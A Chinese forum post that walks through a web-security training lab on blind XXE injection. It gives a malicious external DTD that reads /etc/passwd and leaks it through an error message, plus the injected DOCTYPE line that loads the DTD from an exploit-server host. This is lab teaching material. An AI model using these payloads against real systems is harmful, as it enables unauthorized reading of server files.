发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场xml外部实体(XXE)注入漏洞6

CTF练习 926 0 2025-8-29 21:42:12

第六关 利用盲 XXE 通过错误消息检索数据

这一关就是通过构造恶意 XML 请求,利用 XXE 漏洞读取目标系统的 /etc/passwd 文件内容,并通过 错误消息 验证数据泄露

提示:1、靶场具有“检查库存”功能,可解析 XML 输入,但不显示结果。

*2、要解决该实验室,请使用外部 DTD 触发显示 /etc/passwd 文件内容的错误消息

3、该实验室包含指向不同域上的漏洞利用服务器的链接,您可以在其中托管恶意 DTD。

具体操作

1、运行burp时,访问产品页面,单击“检查库存”,找到触发的库存检查的POST /product/stock数据包,发往repeater

2、靶场提示中说:使用外部 DTD 触发显示 /etc/passwd 文件内容的错误消息

那么先创建个dtd恶意文件,输入恶意代码

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

然后点击前往靶场给的漏洞利用服务器

内容导入后,此页面会将 /etc/passwd 的内容读入文件实体,然后尝试在文件路径中使用该实体

先复制URL:

https://exploit-0a73000e0400313d845d271601d400c5.exploit-server.net/exploit.dtd

在 XML 声明和 stockCheck 元素之间插入以下外部实体定义:

通过添加引用恶意 DTD 的参数实体来利用库存检查器功能

插入的语句

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9900750402898980777f19013d00ee.exploit-server.net/exploit.dtd"> %xxe;]>

刷新浏览器,靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回